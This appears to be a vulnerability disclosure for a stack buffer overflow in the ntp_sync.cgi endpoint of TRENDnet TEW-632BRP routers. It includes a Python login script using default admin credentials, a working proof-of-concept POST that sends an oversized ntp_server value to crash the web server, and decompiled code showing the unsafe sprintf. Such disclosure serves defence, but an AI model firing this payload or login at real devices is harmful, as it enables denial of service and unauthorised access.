CVE Report - Buffer Overflow Vulnerability in TEW_632BRPA1_FW1.10B31 Routers

Vulnerability Title

Buffer Overflow Vulnerability in TEW_632BRPA1_FW1.10B31 Routers

Vulnerability Description

TRENDnet TEW-632BRP v1.010B31 devices have a buffer overflow vulnerability in the CGI interface "ntp_sync.cgi",which can cause web server crash via parameter "ntp_server" passed to the "ntp_sync.cgi" binary through a POST request.

Reproduction Steps

1. Log in to the router.

```
import requests

device_web_ip = '172.17.0.23'

headers = {

  'Host': device_web_ip,

  'Connection': 'keep-alive',

  'Content-Length': '1000',

  'Cache-Control': 'max-age=0',

  'Upgrade-Insecure-Requests': '1',

  'Origin': f'http://{device_web_ip}',

  'Content-Type': 'application/x-www-form-urlencoded',

  'Referer': f'http://{device_web_ip}',
```

```
  'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0
Safari/537.36 Edg/127.0.0.0',

  'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7',

  'Accept-Encoding': 'gzip, deflate',

  'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-
US;q=0.6'

}

login_params = login_params = {

  'html_response_page': 'logout_fail.asp',

  'login_name': 'YWRtaW4A',

  'login_n': 'admin',

  'login_pass': 'YWRtaW4A',

  'login': 'Log In'

}

login_url = 'http://{}/login.cgi'.format(device_web_ip)

r = requests.post(url=login_url, data=login_params,
headers=headers, timeout=0.2)

if r is None or r.status_code != 200:

 print('Login wrong, please retry!')

 exit()

print(r.text)
```

2. Use the following Python code to test the vulnerability:

```python
import requests
import pickle
import time

device_web_ip = "172.17.0.23"
base_url = "http://172.17.0.23/"

headers = {
    'Host': device_web_ip,
    'Connection': 'keep-alive',
    'Content-Length': '1000',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'Origin': f'http://{device_web_ip}',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Referer': f'http://{device_web_ip}',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0
Safari/537.36 Edg/127.0.0.0',
    'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-
US;q=0.6'
}

target_para = {'ntp_server':'a'*1500}
r = requests.post(url=base_url+'ntp_sync.cgi', data=target_para,
headers=headers)
print(r.text)
```

Cause Analysis

The get_cgi function accepts external data. The user affects v4 by setting the ntp_server value. After sprintf splicing, it enters v7 cause crash.

```
int __fastcall sub_40C214(char *a1, int a2)
{
  char *cgi; // $s0
  char *v4; // $a2
  const char *v5; // $v0
  _DWORD v7[8]; // [sp+18h] [-28h] BYREF
  char *v8; // [sp+38h] [-8h] BYREF

  v8 = 0;
  if ( !a1 )
    _assert("url", "core.c", 3292);
  if ( !a2 )
    _assert("stream", "core.c", 3293);
  v8 = a1;
  strsep(&v8, "?");
  memset(v7, 0, sizeof(v7));
  cgi = (char *)get_cgi("html_response_page");
  if ( !cgi )
    cgi = "";
  v4 = (char *)get_cgi("ntp_server");
  if ( !v4 )
    v4 = "";
  sprintf((char *)v7, "ntpclient -h %s -s -i 5 -c 1", v4);
```

Attack effect

Suggested Fix

Avoid directly passing user input into the sink function.